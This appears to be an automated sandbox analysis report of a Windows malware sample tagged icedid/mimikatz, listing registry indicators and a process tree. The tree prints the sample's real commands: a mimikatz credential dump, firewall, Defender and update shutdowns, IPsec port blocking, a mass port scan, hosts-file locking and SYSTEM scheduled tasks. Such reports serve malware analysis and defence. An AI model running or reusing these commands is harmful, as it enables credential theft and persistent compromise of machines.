\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\26-d5-3b-fd-27-a2 yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{CADE6830-8F96-47AE-B510-4B0DB6214296}\WpadNetworkName = "Network 3" yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{CADE6830-8F96-47AE-B510-4B0DB6214296} yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{CADE6830-8F96-47AE-B510-4B0DB6214296}\WpadDecision = "0" yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates yrklftl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{CADE6830-8F96-47AE-B510-4B0DB6214296}\WpadDecisionReason = "1" yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates yrklftl.exe -
Modifies registry class 14 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ yrklftl.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 yrklftl.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 yrklftl.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
pid Process 2972 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
pid Process 2316 yrklftl.exe 2492 yrklftl.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe -
Suspicious behavior: LoadsDriver 31 IoCs
pid Process 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found 484 Process not Found -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 1728 2024-05-06_860c6ccd843fbfe99cc4ca676c0beb6b_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
description pid Process Token: SeDebugPrivilege 1728 2024-05-06_860c6ccd843fbfe99cc4ca676c0beb6b_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 2596 yrklftl.exe Token: SeDebugPrivilege 2776 yrklftl.exe Token: SeDebugPrivilege 1988 vfshost.exe Token: SeAuditPrivilege 2772 svchost.exe Token: SeDebugPrivilege 2896 vekeuubbl.exe Token: SeShutdownPrivilege 2896 vekeuubbl.exe Token: SeLockMemoryPrivilege 1200 mitzpm.exe Token: SeLockMemoryPrivilege 1200 mitzpm.exe Token: SeDebugPrivilege 1304 vekeuubbl.exe Token: SeShutdownPrivilege 1304 vekeuubbl.exe Token: SeDebugPrivilege 3040 vekeuubbl.exe Token: SeShutdownPrivilege 3040 vekeuubbl.exe Token: SeDebugPrivilege 896 vekeuubbl.exe Token: SeShutdownPrivilege 896 vekeuubbl.exe Token: SeDebugPrivilege 1780 vekeuubbl.exe Token: SeShutdownPrivilege 1780 vekeuubbl.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 1728 2024-05-06_860c6ccd843fbfe99cc4ca676c0beb6b_hacktools_icedid_mimikatz.exe 1728 2024-05-06_860c6ccd843fbfe99cc4ca676c0beb6b_hacktools_icedid_mimikatz.exe 2596 yrklftl.exe 2596 yrklftl.exe 2776 yrklftl.exe 2776 yrklftl.exe 2572 xohudmc.exe 572 gkmiuy.exe 2316 yrklftl.exe 2316 yrklftl.exe 2492 yrklftl.exe 2492 yrklftl.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1728 wrote to memory of 1628 1728 2024-05-06_860c6ccd843fbfe99cc4ca676c0beb6b_hacktools_icedid_mimikatz.exe 28 PID 1728 wrote to memory of 1628 1728 2024-05-06_860c6ccd843fbfe99cc4ca676c0beb6b_hacktools_icedid_mimikatz.exe 28 PID 1728 wrote to memory of 1628 1728 2024-05-06_860c6ccd843fbfe99cc4ca676c0beb6b_hacktools_icedid_mimikatz.exe 28 PID 1728 wrote to memory of 1628 1728 2024-05-06_860c6ccd843fbfe99cc4ca676c0beb6b_hacktools_icedid_mimikatz.exe 28 PID 1628 wrote to memory of 2972 1628 cmd.exe 30 PID 1628 wrote to memory of 2972 1628 cmd.exe 30 PID 1628 wrote to memory of 2972 1628 cmd.exe 30 PID 1628 wrote to memory of 2972 1628 cmd.exe 30 PID 1628 wrote to memory of 2596 1628 cmd.exe 31 PID 1628 wrote to memory of 2596 1628 cmd.exe 31 PID 1628 wrote to memory of 2596 1628 cmd.exe 31 PID 1628 wrote to memory of 2596 1628 cmd.exe 31 PID 2776 wrote to memory of 2528 2776 yrklftl.exe 33 PID 2776 wrote to memory of 2528 2776 yrklftl.exe 33 PID 2776 wrote to memory of 2528 2776 yrklftl.exe 33 PID 2776 wrote to memory of 2528 2776 yrklftl.exe 33 PID 2528 wrote to memory of 2420 2528 cmd.exe 35 PID 2528 wrote to memory of 2420 2528 cmd.exe 35 PID 2528 wrote to memory of 2420 2528 cmd.exe 35 PID 2528 wrote to memory of 2420 2528 cmd.exe 35 PID 2528 wrote to memory of 2744 2528 cmd.exe 36 PID 2528 wrote to memory of 2744 2528 cmd.exe 36 PID 2528 wrote to memory of 2744 2528 cmd.exe 36 PID 2528 wrote to memory of 2744 2528 cmd.exe 36 PID 2528 wrote to memory of 2720 2528 cmd.exe 37 PID 2528 wrote to memory of 2720 2528 cmd.exe 37 PID 2528 wrote to memory of 2720 2528 cmd.exe 37 PID 2528 wrote to memory of 2720 2528 cmd.exe 37 PID 2528 wrote to memory of 2936 2528 cmd.exe 38 PID 2528 wrote to memory of 2936 2528 cmd.exe 38 PID 2528 wrote to memory of 2936 2528 cmd.exe 38 PID 2528 wrote to memory of 2936 2528 cmd.exe 38 PID 2528 wrote to memory of 2656 2528 cmd.exe 39 PID 2528 wrote to memory of 2656 2528 cmd.exe 39 PID 2528 wrote to memory of 2656 2528 cmd.exe 39 PID 2528 wrote to memory of 2656 2528 cmd.exe 39 PID 2528 wrote to memory of 2700 2528 cmd.exe 40 PID 2528 wrote to memory of 2700 2528 cmd.exe 40 PID 2528 wrote to memory of 2700 2528 cmd.exe 40 PID 2528 wrote to memory of 2700 2528 cmd.exe 40 PID 2776 wrote to memory of 2392 2776 yrklftl.exe 41 PID 2776 wrote to memory of 2392 2776 yrklftl.exe 41 PID 2776 wrote to memory of 2392 2776 yrklftl.exe 41 PID 2776 wrote to memory of 2392 2776 yrklftl.exe 41 PID 2776 wrote to memory of 2516 2776 yrklftl.exe 43 PID 2776 wrote to memory of 2516 2776 yrklftl.exe 43 PID 2776 wrote to memory of 2516 2776 yrklftl.exe 43 PID 2776 wrote to memory of 2516 2776 yrklftl.exe 43 PID 2776 wrote to memory of 1480 2776 yrklftl.exe 45 PID 2776 wrote to memory of 1480 2776 yrklftl.exe 45 PID 2776 wrote to memory of 1480 2776 yrklftl.exe 45 PID 2776 wrote to memory of 1480 2776 yrklftl.exe 45 PID 2776 wrote to memory of 2740 2776 yrklftl.exe 47 PID 2776 wrote to memory of 2740 2776 yrklftl.exe 47 PID 2776 wrote to memory of 2740 2776 yrklftl.exe 47 PID 2776 wrote to memory of 2740 2776 yrklftl.exe 47 PID 2740 wrote to memory of 2860 2740 cmd.exe 49 PID 2740 wrote to memory of 2860 2740 cmd.exe 49 PID 2740 wrote to memory of 2860 2740 cmd.exe 49 PID 2740 wrote to memory of 2860 2740 cmd.exe 49 PID 2740 wrote to memory of 2860 2740 cmd.exe 49 PID 2740 wrote to memory of 2860 2740 cmd.exe 49 PID 2740 wrote to memory of 2860 2740 cmd.exe 49 PID 2860 wrote to memory of 1616 2860 wpcap.exe 50
Processes
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1080
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C:\Windows\TEMP\lbiqgtsub\mitzpm.exe"C:\Windows\TEMP\lbiqgtsub\mitzpm.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1200
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C:\Users\Admin\AppData\Local\Temp\2024-05-06_860c6ccd843fbfe99cc4ca676c0beb6b_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-05-06_860c6ccd843fbfe99cc4ca676c0beb6b_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1728 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\gtgcurlb\yrklftl.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1628 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2972
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C:\Windows\gtgcurlb\yrklftl.exeC:\Windows\gtgcurlb\yrklftl.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2596
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C:\Windows\gtgcurlb\yrklftl.exeC:\Windows\gtgcurlb\yrklftl.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:2528 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2420
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:2744
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2720
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:2936
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2656
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:2700
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Modifies data under HKEY_USERS
PID:2392
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵PID:2516
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Modifies data under HKEY_USERS
PID:1480
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iibfpugis\fewectaiq\wpcap.exe /S2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2740 -
C:\Windows\iibfpugis\fewectaiq\wpcap.exeC:\Windows\iibfpugis\fewectaiq\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2860 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵PID:1616
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:2340
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C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵PID:356
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:1348
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C:\Windows\SysWOW64\net.exenet stop npf4⤵PID:1252
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:836
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C:\Windows\SysWOW64\net.exenet start npf4⤵PID:2008
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:1940
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:2916
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:1984
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:1924
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:1604
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:2216
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:1992
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iibfpugis\fewectaiq\itcusielr.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\iibfpugis\fewectaiq\Scant.txt2⤵
- Loads dropped DLL
PID:480 -
C:\Windows\iibfpugis\fewectaiq\itcusielr.exeC:\Windows\iibfpugis\fewectaiq\itcusielr.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\iibfpugis\fewectaiq\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:584
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iibfpugis\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\iibfpugis\Corporate\log.txt2⤵
- Loads dropped DLL
- Drops file in Windows directory
PID:1428 -
C:\Windows\iibfpugis\Corporate\vfshost.exeC:\Windows\iibfpugis\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1988
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "uupfsiits" /ru system /tr "cmd /c C:\Windows\ime\yrklftl.exe"2⤵PID:1780
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:872
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "uupfsiits" /ru system /tr "cmd /c C:\Windows\ime\yrklftl.exe"3⤵
- Creates scheduled task(s)
PID:1000
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "itklbrcac" /ru system /tr "cmd /c echo Y|cacls C:\Windows\gtgcurlb\yrklftl.exe /p everyone:F"2⤵PID:1888
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:320
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "itklbrcac" /ru system /tr "cmd /c echo Y|cacls C:\Windows\gtgcurlb\yrklftl.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:3048
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bubipuefr" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\lbiqgtsub\mitzpm.exe /p everyone:F"2⤵PID:1016
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2248
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "bubipuefr" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\lbiqgtsub\mitzpm.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:2196
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵PID:924
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:1948
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:2480
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:2584
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵PID:2992
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:2684
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:1404
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:2504
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:2424
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:2456
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:2580
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:2632
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C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵PID:1572
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C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵PID:1620
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵PID:2276
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C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵PID:1760
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C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
PID:2120
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C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵PID:1640
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C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:356
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C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵PID:2380
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C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵PID:1924
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵PID:2916
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C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵PID:2904
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C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵PID:2852
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵PID:1600
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C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵PID:760
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C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵PID:2740
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵PID:1984
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C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵PID:2892
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C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
PID:2752
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C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵PID:2040
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C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
PID:1992
